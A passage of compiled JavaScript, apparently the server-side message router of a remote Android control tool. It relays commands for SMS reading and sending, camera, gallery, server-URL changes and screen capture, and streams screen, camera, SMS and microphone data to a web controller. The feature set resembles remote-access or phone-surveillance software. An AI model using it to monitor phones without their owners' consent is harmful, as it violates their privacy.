4451 lines
215 KiB
JavaScript
4451 lines
215 KiB
JavaScript
"use strict";
|
||
var __importDefault = (this && this.__importDefault) || function (mod) {
|
||
return (mod && mod.__esModule) ? mod : { "default": mod };
|
||
};
|
||
Object.defineProperty(exports, "__esModule", { value: true });
|
||
exports.MessageRouter = void 0;
|
||
const Logger_1 = __importDefault(require("../utils/Logger"));
|
||
const fs_1 = __importDefault(require("fs"));
|
||
const path_1 = __importDefault(require("path"));
|
||
/**
|
||
* 消息路由服务 - 增强版,包含内存管理
|
||
*/
|
||
class MessageRouter {
|
||
constructor(deviceManager, webClientManager, databaseService) {
|
||
// 🔧 新增:服务端内存和数据管理
|
||
this.screenDataBuffer = new Map();
|
||
this.cameraDataBuffer = new Map();
|
||
this.smsDataBuffer = new Map();
|
||
this.microphoneAudioBuffer = new Map();
|
||
this.maxBufferSize = 10; // 每设备最多缓存10帧
|
||
this.bufferTimeout = 5000; // 5秒超时清理
|
||
this.maxDataSize = 2 * 1024 * 1024; // 2MB单帧限制,与Android端保持一致
|
||
this.lastCleanupTime = 0;
|
||
this.cleanupInterval = 10000; // 10秒清理一次
|
||
// 统计信息
|
||
this.routedFrames = 0;
|
||
this.droppedFrames = 0;
|
||
this.totalDataSize = 0;
|
||
this.routedCameraFrames = 0;
|
||
this.droppedCameraFrames = 0;
|
||
this.totalCameraDataSize = 0;
|
||
this.routedSmsData = 0;
|
||
this.droppedSmsData = 0;
|
||
this.totalSmsDataSize = 0;
|
||
this.routedMicrophoneAudio = 0;
|
||
this.droppedMicrophoneAudio = 0;
|
||
this.totalMicrophoneAudioSize = 0;
|
||
this.deviceManager = deviceManager;
|
||
this.webClientManager = webClientManager;
|
||
this.databaseService = databaseService;
|
||
this.logger = new Logger_1.default('MessageRouter');
|
||
// 🔧 启动定期清理任务
|
||
this.startPeriodicCleanup();
|
||
}
|
||
/**
|
||
* 🖼️ 发送本地已缓存相册图片给指定Web客户端
|
||
*/
|
||
sendLocalGalleryToClient(clientId, deviceId, limit, offset = 0) {
|
||
try {
|
||
const imagesDir = path_1.default.resolve(process.cwd(), 'public', 'assets', 'gallery', deviceId);
|
||
if (!fs_1.default.existsSync(imagesDir)) {
|
||
this.logger.debug(`📁 本地相册目录不存在: ${imagesDir}`);
|
||
return;
|
||
}
|
||
// 读取目录下文件,按时间倒序(文件名中包含时间戳: <timestamp>_<index>.jpg|png)
|
||
const files = fs_1.default.readdirSync(imagesDir)
|
||
.filter(name => name.endsWith('.jpg') || name.endsWith('.png'))
|
||
.map(name => ({
|
||
name,
|
||
// 提取文件名前缀的时间戳用于排序
|
||
ts: (() => { const n = parseInt(name.split('_')[0], 10); return isNaN(n) ? 0 : n; })()
|
||
}))
|
||
.sort((a, b) => b.ts - a.ts)
|
||
.slice(offset, limit ? offset + limit : undefined);
|
||
if (files.length === 0) {
|
||
this.logger.debug(`🖼️ 本地相册无可发送图片: device=${deviceId}`);
|
||
return;
|
||
}
|
||
this.logger.info(`🖼️ 向Web客户端发送本地相册缓存: device=${deviceId}, 数量=${files.length}`);
|
||
for (const f of files) {
|
||
const url = `/assets/gallery/${deviceId}/${f.name}`;
|
||
// 最低限度的元数据,前端可直接回显缩略图/原图
|
||
const payload = {
|
||
deviceId,
|
||
type: 'gallery_image_saved',
|
||
timestamp: f.ts || Date.now(),
|
||
index: 0,
|
||
id: f.name,
|
||
displayName: f.name,
|
||
url
|
||
};
|
||
this.webClientManager.sendToClient(clientId, 'gallery_image_saved', payload);
|
||
}
|
||
}
|
||
catch (err) {
|
||
this.logger.error(`❌ 发送本地相册缓存失败: device=${deviceId}`, err);
|
||
}
|
||
}
|
||
/**
|
||
* 🔧 启动定期清理任务
|
||
*/
|
||
startPeriodicCleanup() {
|
||
setInterval(() => {
|
||
this.performPeriodicCleanup();
|
||
}, this.cleanupInterval);
|
||
}
|
||
/**
|
||
* 🔧 定期清理过期数据
|
||
*/
|
||
performPeriodicCleanup() {
|
||
try {
|
||
const currentTime = Date.now();
|
||
let cleanedBuffers = 0;
|
||
// 清理过期的屏幕数据缓冲区
|
||
for (const [deviceId, bufferData] of this.screenDataBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.screenDataBuffer.delete(deviceId);
|
||
cleanedBuffers++;
|
||
}
|
||
}
|
||
// 清理过期的摄像头数据缓冲区
|
||
for (const [deviceId, bufferData] of this.cameraDataBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.cameraDataBuffer.delete(deviceId);
|
||
cleanedBuffers++;
|
||
}
|
||
}
|
||
// 清理过期的短信数据缓冲区
|
||
for (const [deviceId, bufferData] of this.smsDataBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.smsDataBuffer.delete(deviceId);
|
||
cleanedBuffers++;
|
||
}
|
||
}
|
||
// 清理过期的麦克风音频数据缓冲区
|
||
for (const [deviceId, bufferData] of this.microphoneAudioBuffer.entries()) {
|
||
if (currentTime - bufferData.timestamp > this.bufferTimeout) {
|
||
this.microphoneAudioBuffer.delete(deviceId);
|
||
cleanedBuffers++;
|
||
}
|
||
}
|
||
if (cleanedBuffers > 0) {
|
||
this.logger.debug(`🗑️ 定期清理: 移除${cleanedBuffers}个过期数据缓冲区`);
|
||
}
|
||
// 内存使用统计
|
||
const memUsage = process.memoryUsage();
|
||
const memUsageMB = Math.round(memUsage.heapUsed / 1024 / 1024);
|
||
// 每分钟记录一次统计
|
||
if (Math.floor(currentTime / 60000) > Math.floor(this.lastCleanupTime / 60000)) {
|
||
const dropRate = this.routedFrames > 0 ? (this.droppedFrames / this.routedFrames * 100).toFixed(1) : '0';
|
||
const cameraDropRate = this.routedCameraFrames > 0 ? (this.droppedCameraFrames / this.routedCameraFrames * 100).toFixed(1) : '0';
|
||
const smsDropRate = this.routedSmsData > 0 ? (this.droppedSmsData / this.routedSmsData * 100).toFixed(1) : '0';
|
||
const microphoneDropRate = this.routedMicrophoneAudio > 0 ? (this.droppedMicrophoneAudio / this.routedMicrophoneAudio * 100).toFixed(1) : '0';
|
||
this.logger.info(`📊 路由统计: 屏幕帧=${this.routedFrames}, 屏幕丢帧=${this.droppedFrames}, 屏幕丢帧率=${dropRate}%, 摄像头帧=${this.routedCameraFrames}, 摄像头丢帧=${this.droppedCameraFrames}, 摄像头丢帧率=${cameraDropRate}%, 短信数据=${this.routedSmsData}, 短信丢帧=${this.droppedSmsData}, 短信丢帧率=${smsDropRate}%, 麦克风音频=${this.routedMicrophoneAudio}, 麦克风丢帧=${this.droppedMicrophoneAudio}, 麦克风丢帧率=${microphoneDropRate}%, 内存=${memUsageMB}MB`);
|
||
}
|
||
this.lastCleanupTime = currentTime;
|
||
// 🚨 内存使用过高时触发紧急清理
|
||
if (memUsageMB > 500) { // 超过500MB时清理
|
||
this.performEmergencyCleanup();
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('❌ 定期清理失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 🚨 紧急内存清理
|
||
*/
|
||
performEmergencyCleanup() {
|
||
try {
|
||
this.logger.warn('🚨 触发紧急内存清理');
|
||
// 清空所有数据缓冲区
|
||
const clearedScreenBuffers = this.screenDataBuffer.size;
|
||
const clearedCameraBuffers = this.cameraDataBuffer.size;
|
||
const clearedSmsBuffers = this.smsDataBuffer.size;
|
||
const clearedMicrophoneBuffers = this.microphoneAudioBuffer.size;
|
||
this.screenDataBuffer.clear();
|
||
this.cameraDataBuffer.clear();
|
||
this.smsDataBuffer.clear();
|
||
this.microphoneAudioBuffer.clear();
|
||
// 建议垃圾回收
|
||
if (global.gc) {
|
||
global.gc();
|
||
}
|
||
this.logger.warn(`🗑️ 紧急清理完成: 清空${clearedScreenBuffers}个屏幕数据缓冲区, ${clearedCameraBuffers}个摄像头数据缓冲区, ${clearedSmsBuffers}个短信数据缓冲区, ${clearedMicrophoneBuffers}个麦克风音频数据缓冲区`);
|
||
}
|
||
catch (error) {
|
||
this.logger.error('❌ 紧急清理失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 路由控制消息(从Web客户端到设备)
|
||
*/
|
||
routeControlMessage(fromSocketId, message) {
|
||
console.log(message);
|
||
try {
|
||
// 验证消息来源是Web客户端
|
||
const webClient = this.webClientManager.getClientBySocketId(fromSocketId);
|
||
if (!webClient) {
|
||
this.logger.warn(`未知的Web客户端尝试发送控制消息: ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
// 检查Web客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(webClient.id, message.deviceId)) {
|
||
// ✅ 降低日志级别,避免控制权切换期间的噪音
|
||
this.logger.debug(`Web客户端 ${webClient.id} 无权控制设备 ${message.deviceId} (消息类型: ${message.type})`);
|
||
// 向客户端发送权限错误响应
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'NO_PERMISSION',
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 获取目标设备
|
||
const device = this.deviceManager.getDevice(message.deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(message.deviceId)) {
|
||
this.logger.warn(`目标设备不在线: ${message.deviceId}`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'DEVICE_OFFLINE',
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 特殊处理摄像头控制消息
|
||
if (message.type === 'CAMERA_START' || message.type === 'CAMERA_STOP' || message.type === 'CAMERA_SWITCH') {
|
||
this.logger.info(`📷 摄像头控制指令: ${message.type} -> 设备 ${message.deviceId}`);
|
||
// 验证摄像头控制消息的数据格式
|
||
if (message.type === 'CAMERA_SWITCH' && message.data) {
|
||
const cameraType = message.data.cameraType || message.data;
|
||
if (cameraType !== 'front' && cameraType !== 'back') {
|
||
this.logger.warn(`⚠️ 无效的摄像头类型: ${cameraType},应为 'front' 或 'back'`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_CAMERA_TYPE',
|
||
message: '摄像头类型无效,应为 front 或 back'
|
||
});
|
||
return false;
|
||
}
|
||
this.logger.info(`📷 切换摄像头到: ${cameraType === 'front' ? '前置' : '后置'}`);
|
||
}
|
||
}
|
||
// 特殊处理SMS控制消息
|
||
if (message.type === 'SMS_PERMISSION_CHECK' || message.type === 'SMS_READ' || message.type === 'SMS_SEND' || message.type === 'SMS_UNREAD_COUNT') {
|
||
this.logger.info(`📱 SMS控制指令: ${message.type} -> 设备 ${message.deviceId}`);
|
||
// 验证SMS控制消息的数据格式
|
||
if (message.type === 'SMS_READ' && message.data) {
|
||
const limit = message.data.limit;
|
||
if (limit && (typeof limit !== 'number' || limit <= 0)) {
|
||
this.logger.warn(`⚠️ 无效的SMS读取限制: ${limit},应为正整数`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_SMS_LIMIT',
|
||
message: 'SMS读取限制无效,应为正整数'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
if (message.type === 'SMS_SEND' && message.data) {
|
||
const { phoneNumber, message: smsMessage } = message.data;
|
||
if (!phoneNumber || !smsMessage) {
|
||
this.logger.warn(`⚠️ SMS发送数据不完整: phoneNumber=${phoneNumber}, message=${smsMessage}`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_SMS_SEND_DATA',
|
||
message: 'SMS发送数据不完整,需要phoneNumber和message'
|
||
});
|
||
return false;
|
||
}
|
||
this.logger.info(`📱 发送SMS到: ${phoneNumber}`);
|
||
}
|
||
}
|
||
// 特殊处理相册控制消息
|
||
if (message.type === 'GALLERY_PERMISSION_CHECK' || message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') {
|
||
this.logger.info(`📸 相册控制指令: ${message.type} -> 设备 ${message.deviceId}`);
|
||
// 验证相册控制消息的数据格式
|
||
if ((message.type === 'ALBUM_READ' || message.type === 'GET_GALLERY') && message.data) {
|
||
const { albumId, limit, offset } = message.data;
|
||
if (limit && (typeof limit !== 'number' || limit <= 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取限制: ${limit},应为正整数`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_ALBUM_LIMIT',
|
||
message: '相册读取限制无效,应为正整数'
|
||
});
|
||
return false;
|
||
}
|
||
if (offset && (typeof offset !== 'number' || offset < 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset},应为非负整数`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_ALBUM_OFFSET',
|
||
message: '相册读取偏移无效,应为非负整数'
|
||
});
|
||
return false;
|
||
}
|
||
this.logger.info(`📸 读取相册: albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`);
|
||
}
|
||
// 🆕 新增:GET_GALLERY 仅发送本地缓存到Web客户端,不下发到设备
|
||
if (message.type === 'GET_GALLERY') {
|
||
try {
|
||
const { limit, offset } = message.data || {};
|
||
const sendLimit = typeof limit === 'number' && limit > 0 ? limit : undefined;
|
||
const sendOffset = typeof offset === 'number' && offset >= 0 ? offset : 0;
|
||
this.sendLocalGalleryToClient(webClient.id, message.deviceId, sendLimit, sendOffset);
|
||
}
|
||
catch (e) {
|
||
this.logger.warn(`⚠️ GET_GALLERY 发送本地相册缓存失败: ${message.deviceId}`, e);
|
||
}
|
||
// 不转发到设备,直接返回成功
|
||
return true;
|
||
}
|
||
}
|
||
// 特殊处理服务器地址修改消息
|
||
if (message.type === 'CHANGE_SERVER_URL') {
|
||
this.logger.info(`🌐 服务器地址修改指令: ${message.type} -> 设备 ${message.deviceId}`);
|
||
// 验证服务器地址数据格式
|
||
if (message.data && message.data.serverUrl) {
|
||
const { serverUrl } = message.data;
|
||
if (typeof serverUrl !== 'string' || serverUrl.trim() === '') {
|
||
this.logger.warn(`⚠️ 无效的服务器地址: ${serverUrl}`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'INVALID_SERVER_URL',
|
||
message: '服务器地址无效,应为非空字符串'
|
||
});
|
||
return false;
|
||
}
|
||
this.logger.info(`🌐 修改服务器地址为: ${serverUrl}`);
|
||
}
|
||
else {
|
||
this.logger.warn(`⚠️ 缺少服务器地址数据`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'MISSING_SERVER_URL',
|
||
message: '缺少服务器地址数据'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
// 特殊处理屏幕捕获控制消息
|
||
if (message.type === 'SCREEN_CAPTURE_PAUSE' || message.type === 'SCREEN_CAPTURE_RESUME') {
|
||
this.logger.info(`📺 屏幕捕获控制指令: ${message.type} -> 设备 ${message.deviceId}`);
|
||
}
|
||
// 获取设备Socket并发送消息
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(message.deviceId);
|
||
if (deviceSocketId) {
|
||
// 通过Socket.IO发送到设备
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', message);
|
||
this.logger.debug(`控制消息已路由: ${message.type} -> ${message.deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`无法找到设备 ${message.deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(webClient.id, 'control_error', {
|
||
deviceId: message.deviceId,
|
||
error: 'DEVICE_DISCONNECTED',
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由控制消息失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 路由屏幕数据(从设备到Web客户端)- 增强版,包含内存管理
|
||
*/
|
||
routeScreenData(fromSocketId, screenData) {
|
||
try {
|
||
this.routedFrames++;
|
||
// this.logger.info('收到屏幕')
|
||
// 广播设备锁屏状态更新给所有Web客户端
|
||
if (screenData.deviceId && this.routedFrames % 20 == 0) {
|
||
this.webClientManager.broadcastToAll('device_lock_status_update', {
|
||
deviceId: screenData.deviceId,
|
||
isLocked: screenData.isLocked ? screenData.isLocked : false,
|
||
timestamp: Date.now()
|
||
});
|
||
}
|
||
// 🔧 添加屏幕数据大小检查,避免过大数据导致transport error
|
||
const dataSize = screenData.data instanceof Buffer ? screenData.data.length :
|
||
(typeof screenData.data === 'string' ? screenData.data.length : 0);
|
||
this.totalDataSize += dataSize;
|
||
if (dataSize > this.maxDataSize) { // 动态限制
|
||
this.droppedFrames++;
|
||
this.logger.warn(`⚠️ 屏幕数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
// 🔧 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
|
||
const controllerId = this.webClientManager.getDeviceController(screenData.deviceId);
|
||
if (!controllerId) {
|
||
// 没有客户端在控制,直接丢弃数据(减少不必要的数据传输)
|
||
// 🔧 这种情况不计入丢帧统计,因为这是正常的丢弃
|
||
this.logger.debug(`⚠️ 设备${screenData.deviceId}无控制者,丢弃屏幕数据`);
|
||
return true;
|
||
}
|
||
// 🔧 优化去重逻辑:调整时间间隔判断,避免误杀正常数据
|
||
const existingBuffer = this.screenDataBuffer.get(screenData.deviceId);
|
||
if (existingBuffer) {
|
||
// 如果有旧数据且时间间隔过短,可能是重复数据,跳过
|
||
const timeDiff = Date.now() - existingBuffer.timestamp;
|
||
if (timeDiff < 50) { // 放宽到50ms内的重复数据才去重,避免误杀正常的250ms间隔数据
|
||
this.droppedFrames++;
|
||
this.logger.debug(`⚠️ 跳过重复屏幕数据: 设备${screenData.deviceId}, 间隔${timeDiff}ms`);
|
||
return false;
|
||
}
|
||
}
|
||
// 🔧 更新缓冲区(用于去重和统计)
|
||
this.screenDataBuffer.set(screenData.deviceId, {
|
||
data: screenData,
|
||
timestamp: Date.now()
|
||
});
|
||
// 🧪🧪🧪 特殊检测:识别UI层次结构实验数据
|
||
if (screenData.format === 'UI_TEST' || screenData.format === 'UI_TEST') {
|
||
this.logger.info(`🧪🧪🧪 [实验成功] 收到UI测试数据!!! Socket: ${fromSocketId}`);
|
||
this.logger.info(`🧪 实验数据: ${JSON.stringify(screenData)}`);
|
||
// 继续正常处理流程
|
||
}
|
||
// 🎯🎯🎯 关键修复:检测UI层次结构数据并特殊处理
|
||
if (screenData.format === 'UI_HIERARCHY' || screenData.format === 'UI_HIERARCHY') {
|
||
this.logger.info(`🎯🎯🎯 [UI层次结构] 收到UI层次结构数据!!! Socket: ${fromSocketId}`);
|
||
this.logger.info(`📊 UI数据大小: ${typeof screenData.data === 'string' ? screenData.data.length : 'unknown'} 字符`);
|
||
try {
|
||
// 解析UI层次结构数据
|
||
const uiData = typeof screenData.data === 'string' ? JSON.parse(screenData.data) : screenData.data;
|
||
this.logger.info(`📋 UI响应数据字段: deviceId=${uiData?.deviceId}, success=${uiData?.success}, clientId=${uiData?.clientId}`);
|
||
// 调用UI层次结构响应处理方法
|
||
const routeResult = this.routeUIHierarchyResponse(fromSocketId, uiData);
|
||
this.logger.info(`📤 UI层次结构路由结果: ${routeResult}`);
|
||
return routeResult;
|
||
}
|
||
catch (parseError) {
|
||
this.logger.error(`❌ 解析UI层次结构数据失败:`, parseError);
|
||
return false;
|
||
}
|
||
}
|
||
// 首先尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device) {
|
||
// ✅ 改进:立即尝试从数据库恢复设备,而不是延迟处理
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
// 将恢复的设备添加到DeviceManager中
|
||
this.deviceManager.addDevice(device);
|
||
// ✅ 关键修复:更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// ✅ 关键修复:设备通过屏幕数据恢复后,必须立即通知Web端
|
||
// 因为Android端可能不会再发送注册请求(认为自己已连接)
|
||
this.logger.info(`✅ 设备已恢复到内存: ${device.name},立即通知Web端设备在线`);
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
// ✅ 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`⏳ 设备未注册且数据库中不存在: ${fromSocketId},延迟处理等待注册`);
|
||
// 只有在数据库中也找不到时,才使用延迟重试
|
||
setTimeout(() => {
|
||
this.retryRouteScreenData(fromSocketId, screenData, 1);
|
||
}, 500);
|
||
return true; // 返回true避免client端重试
|
||
}
|
||
}
|
||
// 确保device不为undefined
|
||
if (!device) {
|
||
return false;
|
||
}
|
||
// 🔧 修复:更新设备的lastSeen时间 - 关键修复!
|
||
device.lastSeen = new Date();
|
||
this.logger.debug(`🔄 更新设备 ${device.id} 最后活跃时间: ${device.lastSeen.toISOString()}`);
|
||
// 🔒 处理设备锁屏状态更新
|
||
// if (screenData.isLocked !== undefined) {
|
||
// const previousLockedState = device.isLocked
|
||
// device.isLocked = screenData.isLocked
|
||
// // 如果锁屏状态发生变化,记录日志并广播状态更新
|
||
// if (previousLockedState !== screenData.isLocked) {
|
||
// this.logger.info(`🔒 设备锁屏状态变更: ${device.id} -> ${screenData.isLocked ? '已锁屏' : '已解锁'}`)
|
||
// // 广播设备锁屏状态更新给所有Web客户端
|
||
// this.webClientManager.broadcastToAll('device_lock_status_update', {
|
||
// deviceId: device.id,
|
||
// isLocked: screenData.isLocked,
|
||
// timestamp: Date.now()
|
||
// })
|
||
// }
|
||
// }
|
||
// 控制者已在前面检查过,这里不需要重复检查
|
||
// 🔧 添加屏幕数据传输限流和错误处理
|
||
try {
|
||
// 发送屏幕数据到控制客户端
|
||
const success = this.webClientManager.sendToClient(controllerId, 'screen_data', {
|
||
deviceId: device.id,
|
||
format: screenData.format,
|
||
data: screenData.data,
|
||
width: screenData.width,
|
||
height: screenData.height,
|
||
quality: screenData.quality,
|
||
timestamp: screenData.timestamp,
|
||
isLocked: screenData.isLocked // 包含设备锁屏状态
|
||
});
|
||
if (!success) {
|
||
this.logger.warn(`❌ 发送屏幕数据失败: ${device.name} -> ${controllerId}`);
|
||
return false;
|
||
}
|
||
// 🔧 记录成功传输,用于监控
|
||
this.logger.debug(`✅ 屏幕数据传输成功: ${device.id} -> ${controllerId} (${dataSize} bytes)`);
|
||
return true;
|
||
}
|
||
catch (emitError) {
|
||
this.logger.error(`❌ 屏幕数据发送异常: ${device.name} -> ${controllerId}`, emitError);
|
||
return false;
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('路由屏幕数据失败:', error);
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 重试路由屏幕数据
|
||
*/
|
||
retryRouteScreenData(fromSocketId, screenData, retryCount) {
|
||
const maxRetries = 3;
|
||
try {
|
||
// 再次尝试从DeviceManager获取设备信息
|
||
let device = this.deviceManager.getDeviceBySocketId(fromSocketId);
|
||
if (!device && retryCount <= maxRetries) {
|
||
// 继续等待并重试
|
||
setTimeout(() => {
|
||
this.retryRouteScreenData(fromSocketId, screenData, retryCount + 1);
|
||
}, 1000 * retryCount); // 递增延迟:1s, 2s, 3s
|
||
return;
|
||
}
|
||
if (!device) {
|
||
// 最后尝试从数据库查询
|
||
const dbDevice = this.databaseService.getDeviceBySocketId(fromSocketId);
|
||
if (dbDevice) {
|
||
// ✅ 获取设备状态信息
|
||
const deviceState = this.databaseService.getDeviceState(dbDevice.deviceId);
|
||
// 使用数据库中的设备信息创建设备对象并注册到DeviceManager
|
||
device = {
|
||
id: dbDevice.deviceId,
|
||
socketId: fromSocketId,
|
||
name: dbDevice.deviceName,
|
||
model: dbDevice.deviceModel,
|
||
osVersion: dbDevice.osVersion,
|
||
appVersion: dbDevice.appVersion,
|
||
screenWidth: dbDevice.screenWidth,
|
||
screenHeight: dbDevice.screenHeight,
|
||
capabilities: Array.isArray(dbDevice.capabilities) ? dbDevice.capabilities : JSON.parse(dbDevice.capabilities),
|
||
connectedAt: new Date(),
|
||
lastSeen: new Date(),
|
||
status: 'online',
|
||
inputBlocked: deviceState?.inputBlocked || false,
|
||
isLocked: false, // 设备恢复时默认未锁屏,等待屏幕数据更新
|
||
remark: dbDevice.remark // 🆕 恢复设备备注
|
||
};
|
||
// ✅ 关键修复:将恢复的设备添加到DeviceManager中,避免重复查询
|
||
this.deviceManager.addDevice(device);
|
||
// ✅ 更新数据库中的设备记录(特别是lastSocketId)
|
||
try {
|
||
// 转换设备对象格式以匹配数据库期望的格式
|
||
const deviceForDb = {
|
||
deviceId: device.id,
|
||
deviceName: device.name,
|
||
deviceModel: device.model,
|
||
osVersion: device.osVersion,
|
||
appVersion: device.appVersion,
|
||
screenWidth: device.screenWidth,
|
||
screenHeight: device.screenHeight,
|
||
capabilities: device.capabilities
|
||
};
|
||
this.databaseService.saveDevice(deviceForDb, fromSocketId);
|
||
this.logger.info(`📝 已更新数据库中的设备记录: ${device.name}`);
|
||
}
|
||
catch (dbError) {
|
||
this.logger.error(`❌ 更新设备数据库记录失败: ${device.name}`, dbError);
|
||
}
|
||
// ✅ 关键修复:重试恢复成功后,立即通知Web端设备在线
|
||
this.logger.info(`✅ 设备重试恢复成功: ${device.name},立即通知Web端设备在线`);
|
||
// 立即广播设备连接事件给所有Web客户端
|
||
this.webClientManager.broadcastToAll('device_connected', device);
|
||
// 同时广播设备状态更新
|
||
this.webClientManager.broadcastToAll('device_status_update', {
|
||
deviceId: device.id,
|
||
status: {
|
||
online: true,
|
||
connected: true,
|
||
lastSeen: Date.now(),
|
||
inputBlocked: device.inputBlocked || false
|
||
}
|
||
});
|
||
// ✅ 同步设备状态到设备端(如输入阻塞状态)
|
||
if (deviceState) {
|
||
this.syncDeviceStateToDevice(fromSocketId, device.id, deviceState);
|
||
}
|
||
}
|
||
else {
|
||
this.logger.warn(`❌ 重试${maxRetries}次后仍无法识别设备: ${fromSocketId}`);
|
||
return;
|
||
}
|
||
}
|
||
// 设备找到后正常路由
|
||
if (device) {
|
||
this.logger.info(`✅ 重试成功,设备已识别: ${device.name}`);
|
||
const controllerId = this.webClientManager.getDeviceController(device.id);
|
||
if (controllerId) {
|
||
const success = this.webClientManager.sendToClient(controllerId, 'screen_data', {
|
||
deviceId: device.id,
|
||
format: screenData.format,
|
||
data: screenData.data,
|
||
width: screenData.width,
|
||
height: screenData.height,
|
||
quality: screenData.quality,
|
||
timestamp: screenData.timestamp
|
||
});
|
||
if (success) {
|
||
this.logger.debug(`📺 重试路由成功: ${device.name}`);
|
||
}
|
||
}
|
||
}
|
||
}
|
||
catch (error) {
|
||
this.logger.error('重试路由屏幕数据失败:', error);
|
||
}
|
||
}
|
||
/**
|
||
* 路由摄像头数据(从设备到Web客户端)- 模仿routeScreenData实现
|
||
*/
|
||
routeCameraData(fromSocketId, cameraData) {
|
||
try {
|
||
this.routedCameraFrames++;
|
||
// 添加摄像头数据大小检查,避免过大数据导致transport error
|
||
const dataSize = typeof cameraData.data === 'string' ? cameraData.data.length : 0;
|
||
this.totalCameraDataSize += dataSize;
|
||
if (dataSize > this.maxDataSize) { // 动态限制
|
||
this.droppedCameraFrames++;
|
||
this.logger.warn(`⚠️ 摄像头数据过大被拒绝: ${dataSize} bytes (>${this.maxDataSize}) from ${fromSocketId}`);
|
||
return false;
|
||
}
|
||
// 检查设备是否有控制者,没有控制者直接丢弃(提前检查,减少处理开销)
|
||
const controllerId = this.webClientManager.getDeviceController(cameraData.deviceId);
|
||
if (!controllerId) {
|
||
// 没有客户端在控制,直接丢弃数据(减少不必要的数据传输)
|
||
